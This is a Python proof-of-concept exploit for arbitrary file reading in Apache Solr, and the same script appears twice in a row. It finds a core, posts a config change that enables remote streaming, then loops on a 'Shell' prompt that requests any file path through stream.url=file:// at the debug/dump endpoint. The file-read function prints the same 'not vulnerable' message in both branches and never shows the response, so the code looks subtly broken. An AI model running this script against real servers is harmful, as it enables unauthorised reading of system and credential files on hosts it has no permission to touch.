import requests
import sys
import random
import re
import base64
import time
from lxml import etree
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning


def POC_1(target_url):
    core_url = target_url + "/solr/admin/cores?indexInfo=false&wt=json"
    try:
        response = requests.request("GET", url=core_url, timeout=10)
        core_name = list(json.loads(response.text)["status"])[0]
        
        return core_name
    except:
        print("[-] The target does not have Solr arbitrary file reading vulnerabilities")
        sys.exit(0)

def POC_2(target_url, core_name):
    vuln_url = target_url + "/solr/" + core_name + "/config"
    headers = {
        "Content-type":"application/json"
    }
    data = '{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}'
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
        
        if "This" in response.text and response.status_code == 200:
            print("\033[32m[+] The target has an arbitrary file reading vulnerability in Solr\033[0m")
        else:
            print("[-] The target does not have Solr arbitrary file reading vulnerabilities")
            sys.exit(0)

    except Exception as e:
        print("[-] The target does not have Solr arbitrary file reading vulnerabilities")

def POC_3(target_url, core_name, File_name):
    vuln_url = target_url + "/solr/{}/debug/dump?param=ContentStreams".format(core_name)
    headers = {
        "Content-Type": "application/x-www-form-urlencoded"
    }
    data = 'stream.url=file://{}'.format(File_name)
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
        if "No such file or directory" in response.text:    
            print("[-] The target does not have Solr arbitrary file reading vulnerabilities")
        else:
            print("[-] The target does not have Solr arbitrary file reading vulnerabilities")


    except Exception as e:
        print("[-] The target does not have Solr arbitrary file reading vulnerabilities")

if __name__ == '__main__':
    tmpurl = sys.argv[1]
    target_url = "http://" + tmpurl
    core_name = POC_1(target_url)
    POC_2(target_url, core_name)
    while True:
        File_name = str(input("\033[35m[+] Shell >>> \033[0m"))
        POC_3(target_url, core_name, File_name)
import requests
import sys
import random
import re
import base64
import time
from lxml import etree
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning


def POC_1(target_url):
    core_url = target_url + "/solr/admin/cores?indexInfo=false&wt=json"
    try:
        response = requests.request("GET", url=core_url, timeout=10)
        core_name = list(json.loads(response.text)["status"])[0]
        
        return core_name
    except:
        print("[-] The target does not have Solr arbitrary file reading vulnerabilities")
        sys.exit(0)

def POC_2(target_url, core_name):
    vuln_url = target_url + "/solr/" + core_name + "/config"
    headers = {
        "Content-type":"application/json"
    }
    data = '{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}'
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
        
        if "This" in response.text and response.status_code == 200:
            print("\033[32m[+] The target has an arbitrary file reading vulnerability in Solr\033[0m")
        else:
            print("[-] The target does not have Solr arbitrary file reading vulnerabilities")
            sys.exit(0)

    except Exception as e:
        print("[-] The target does not have Solr arbitrary file reading vulnerabilities")

def POC_3(target_url, core_name, File_name):
    vuln_url = target_url + "/solr/{}/debug/dump?param=ContentStreams".format(core_name)
    headers = {
        "Content-Type": "application/x-www-form-urlencoded"
    }
    data = 'stream.url=file://{}'.format(File_name)
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
        if "No such file or directory" in response.text:    
            print("[-] The target does not have Solr arbitrary file reading vulnerabilities")
        else:
            print("[-] The target does not have Solr arbitrary file reading vulnerabilities")


    except Exception as e:
        print("[-] The target does not have Solr arbitrary file reading vulnerabilities")

if __name__ == '__main__':
    tmpurl = sys.argv[1]
    target_url = "http://" + tmpurl
    core_name = POC_1(target_url)
    POC_2(target_url, core_name)
    while True:
        File_name = str(input("\033[35m[+] Shell >>> \033[0m"))
        POC_3(target_url, core_name, File_name)